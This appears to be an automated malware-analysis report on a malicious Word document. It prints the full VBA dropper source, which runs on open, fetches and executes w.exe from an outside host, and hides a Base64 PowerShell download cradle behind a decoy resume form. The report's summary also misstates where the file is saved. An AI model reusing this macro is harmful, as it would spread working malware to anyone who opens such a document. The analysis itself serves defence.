Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 13d72fb98c8cc250…

MALICIOUS

Office (OOXML)

18.8 KB Created: 2021-09-05 14:53:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2021-09-17
MD5: 05ec14dd28bac822efecd0b32e30d5af SHA-1: b9e4a1832d8fd74f1d7508a54bd23d74b450b670 SHA-256: 13d72fb98c8cc250bee79bf75c37e3cfd759785254e47d91cd83f481ed5bad29
420 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains a VBA macro that executes upon opening the document. This macro decodes a Base64 string which contains a PowerShell command to download a file from 'http://192.168.50.1/w.exe' and save it as 'C:\Users\Public\Documents\timnmmes.exe'. The script then attempts to execute the downloaded file. This behavior is indicative of a dropper malware.

Heuristics 11

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    'Shell (command)
  • VBA Base64-decoded Shell command stager critical OLE_VBA_BASE64_SHELL_COMMAND_STAGER
    VBA auto-exec macro decodes Base64 string literals into command or script-launch text and executes the result with Shell. This catches cmd/cscript/PowerShell/VBS launchers hidden from plain keyword matching.
    Matched line in script
    'Shell (command)
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        oStream.Write WinHttpReq.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        With CreateObject("Microsoft.XMLDOM").createElement("b64")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    tmp = Environ("tmp")
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://192.168.50.1/w.exe Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2914 bytes
SHA-256: 1c7e71c34c140c428a7e4dffb85f5bf2562f832bb0aea92ff861e3f0b645d10e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Dim tmp As String
tmp = Environ("tmp")
Dim filePath As String
filePath = tmp + "\\timnmmes.exe"
Dim command As String
Dim txt As String
txt = "cG93ZXJzaGVsbCAtd2luZG93c3R5bGUgaGlkZGVuIFN0YXJ0LVNsZWVwIC1zIDUgIDsgaWV4KChOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50KS5Eb3dubG9hZEZpbGUoJ2h0dHA6Ly8xOTIuMTY4LjUwLjEvdy5leGUnLCciICsgZmlsZVBhdGggKyAiJykp"
Dim dec As String
dec = DecodeBase64(txt)
command = dec
'MsgBox command
DownloadFile
'Shell (command)
Dim exists As String
exists = Dir(filePath)
If exists = "" Then
    'Shell (command)
Else
    Shell (filePath)
    ActiveDocument.Select
    Selection.ClearFormatting
    Selection.Font.Size = 18
    Selection.Font.Bold = True
    Selection.TypeText Text:="Full Name:"
    Selection.TypeParagraph
    Selection.TypeText Text:="Address:"
    Selection.TypeParagraph
    'Application.Move Left:=12, Top:=18
    Selection.TypeText Text:="Phone:"
    Selection.TypeParagraph
    Selection.TypeText Text:="Email:"
    Selection.TypeParagraph
    Selection.TypeText Text:="Education:"
    Selection.TypeParagraph
    Selection.TypeParagraph
    Selection.TypeText Text:="Courses:"
    Selection.TypeParagraph
    Selection.TypeParagraph
    Selection.TypeText Text:="Projects:"
    Selection.TypeParagraph
    Selection.TypeParagraph
    Selection.TypeText Text:="Experience:"
    Selection.TypeParagraph
    Selection.TypeParagraph
    Selection.TypeText Text:="Expected Salary:"
    'Application.Move Left:=-6, Top:=-6
    Selection.TypeParagraph
End If
End Sub

Function DecodeBase64(b64$)
    Dim b
    With CreateObject("Microsoft.XMLDOM").createElement("b64")
        .DataType = "bin.base64": .Text = b64
        b = .nodeTypedValue
        With CreateObject("ADODB.Stream")
            .Open: .Type = 1: .Write b: .Position = 0: .Type = 2: .Charset = "utf-8"
            DecodeBase64 = .ReadText
            .Close
        End With
    End With
End Function

Sub DownloadFile()

Dim myURL As String
myURL = "http://192.168.50.1/w.exe"

Dim WinHttpReq As Object
Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
WinHttpReq.Open "GET", myURL, False
WinHttpReq.send

If WinHttpReq.Status = 200 Then
    Set oStream = CreateObject("ADODB.Stream")
    oStream.Open
    oStream.Type = 1
    oStream.Write WinHttpReq.responseBody
    Dim tmp As String
    tmp = Environ("tmp")
    Dim filePath As String
    filePath = tmp + "\\timnmmes.exe"
    'MsgBox filePath
    oStream.SaveToFile filePath, 2 ' 1 = no overwrite, 2 = overwrite
    oStream.Close
End If

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12800 bytes
SHA-256: a6993bfc91c25e44a4ad28b418cfb8adfb78005a7a7bfede5c73bac0061715b1
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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